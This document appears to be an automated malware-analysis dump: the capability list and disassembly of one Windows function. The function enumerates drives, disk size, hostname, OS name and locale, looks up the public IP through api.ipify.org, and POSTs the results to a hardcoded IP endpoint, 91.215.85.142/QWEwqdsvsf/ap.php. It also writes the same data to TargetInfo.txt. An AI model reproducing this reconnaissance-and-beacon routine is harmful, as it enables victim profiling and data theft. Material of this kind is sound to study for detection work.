Function at 0x140007414
Capabilities:
Get disk information
Get disk size
Get geographical location
Get hostname
Get system information on windows
Query or enumerate registry value
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xc28]
sub rsp, 0xd10
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0xc00], rax
xor r15d, r15d
mov r14d, 4
cmp dword [0x140054970], r15d
jne 0x1400074cf
mov qword [rbp - 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dil, 0x41
mov ebx, r15d
mov esi, eax
test sil, 1
je 0x1400074ba
movzx r9d, dil
lea r8, str._c:_
mov edx, r14d
mov dword [rsp + 0x5c], r15d
lea rcx, [rsp + 0x5c]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x68], r15
lea r8, [rbp - 0x60]
mov qword [rbp - 0x60], r15
xor edx, edx
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rbp - 0x60]
sub rax, qword [rsp + 0x68]
add rbx, rax
inc dil
shr esi, 1
cmp dil, 0x5a
jle 0x14000746b
shr rbx, 0x1e
mov dword [0x140054970], ebx
or rsi, 0xffffffffffffffff
lea rdi, [0x1400549a0]
cmp dword [0x140054990], r15d
jne 0x140007735
lea rdx, [rsp + 0x68]
mov dword [0x140054990], 0x200
lea rcx, [rbp - 0x28]
mov dword [rsp + 0x68], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rbp - 0x60]
mov qword [rbp - 0x60], r15
lea r9d, [rsi + 2]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rdi, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400075f2
mov rcx, qword [rbp - 0x60]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x5c]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, str.ProductName
mov dword [rsp + 0x5c], r15d
mov dword [rsp + 0x58], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400075e8
cmp dword [rsp + 0x5c], 1
jne 0x1400075e8
mov ecx, dword [rsp + 0x58]
add rcx, 1
cmovb rcx, rsi
call fcn.1400221d4
mov rdi, rax
test rax, rax
je 0x1400075e8
mov r8d, dword [rsp + 0x58]
xor edx, edx
inc r8
mov rcx, rax
call fcn.14001d190
mov rcx, qword [rbp - 0x60]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400075d4
cmp dword [rsp + 0x5c], 1
je 0x1400075e8
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.1400221c0
jmp 0x1400075f2
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, r14d
mov dword [rsp + 0x60], r15d
lea r8, [rsp + 0x60]
mov edx, 0x5a
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
mov dword [rsp + 0x5c], r15d
mov dword [rbp - 0x30], eax
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:_api.ipify.org_r_n
lea rax, [rsp + 0x5c]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea rdx, [0x140048bf0]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
lea rcx, str.http:__api.ipify.org
movups xmmword [rbp - 0x40], xmm0
call fcn.140001354
mov rbx, rax
test rax, rax
je 0x14000766e
cmp dword [rsp + 0x5c], 0x11
jae 0x14000766e
mov r8d, dword [rsp + 0x5c]
lea rcx, [rbp - 0x40]
mov rdx, rax
call fcn.14001e250
jmp 0x14000767c
movabs rax, 0x6e776f6e6b6e75
mov qword [rbp - 0x40], rax
mov rcx, rbx
call fcn.1400221c0
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
lea r14, [0x140048c24]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rsp + 0x70], 9
lea rbx, [0x140048c28]
lea rcx, [rbp - 0x10]
cmovne rbx, r14
mov r14d, 0x180
mov r8d, r14d
xor edx, edx
call fcn.14001d190
lea rax, [rbp - 0x28]
mov r9, rdi
mov qword [rsp + 0x38], rax
lea r8, str._s__s___s___s___s
lea rax, [rbp - 0x40]
mov edx, r14d
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x10]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov r9d, 0x2000000
lea r8, [0x140054990]
lea rdx, [0x1400549a0]
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHLWAPI.dll_UrlEscapeA]
test rdi, rdi
je 0x14000772e
mov rcx, rdi
call fcn.1400221c0
lea rdi, [0x1400549a0]
lea rdx, [rsp + 0x40]
lea rcx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
call fcn.14000118c
test al, al
je 0x140007981
mov r9, qword [rsp + 0x40]
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:__s_r_n
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, qword [0x140054968]
xor eax, eax
mov qword [rbp - 0x50], rax
mov r14d, 0xfffff
mov word [rbp - 0x48], ax
mov ebx, 0xa
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x1400077b8
mov rax, rcx
lea r8, str.0._llu
cqo
and rdx, r14
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x1400077c2
mov r9, rax
lea r8, str._llu
mov edx, ebx
lea rcx, [rbp - 0x50]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov eax, dword [0x140054970]
lea r9, str.hiervos
mov dword [rsp + 0x38], eax
lea r8, str.user_sTargetID_sSystemInformation_smax_size_of_file_ssize_of_hdd_d
lea rax, [rbp - 0x50]
mov edx, 0x400
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x800]
lea rax, [0x140053af8]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rbp + 0x800]
mov qword [rsp + 0x28], r15
lea r8, [rbp + 0x1f0]
mov dword [rsp + 0x20], eax
lea rdx, str.POST
lea rcx, str.http:__91.215.85.142_QWEwqdsvsf_ap.php
call fcn.140001354
test rax, rax
je 0x140007849
mov rcx, rax
call fcn.1400221c0
mov rcx, qword [rsp + 0x40]
call fcn.1400221c0
mov rcx, qword [rsp + 0x48]
call fcn.1400221c0
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str.TargetInfo.txt
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, rsi
je 0x140007981
mov rcx, qword [0x140054968]
xor eax, eax
mov qword [rbp - 0x60], rax
mov word [rbp - 0x58], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x1400078d8
mov rax, rcx
lea r8, str.0._d
cqo
and rdx, r14
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x1400078e2
mov r9, rax
lea r8, str._llu
mov edx, ebx
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor r9d, r9d
mov dword [rsp + 0x68], 0x200
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x10]
lea rcx, [0x1400549a0]
call qword [sym.imp.SHLWAPI.dll_UrlUnescapeA]
mov eax, dword [0x140054970]
lea r9, [0x140053af8]
mov dword [rsp + 0x30], eax
lea r8, str._s_s_s_d
lea rax, [rbp - 0x60]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x400]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea rax, [rbp + 0x400]
inc rsi
cmp byte [rax + rsi], r15b
jne 0x140007952
mov r8, rsi
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x60]
mov rcx, rdi
lea rdx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc00]
xor rcx, rsp
call fcn.14001ae90
lea r11, [rsp + 0xd10]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret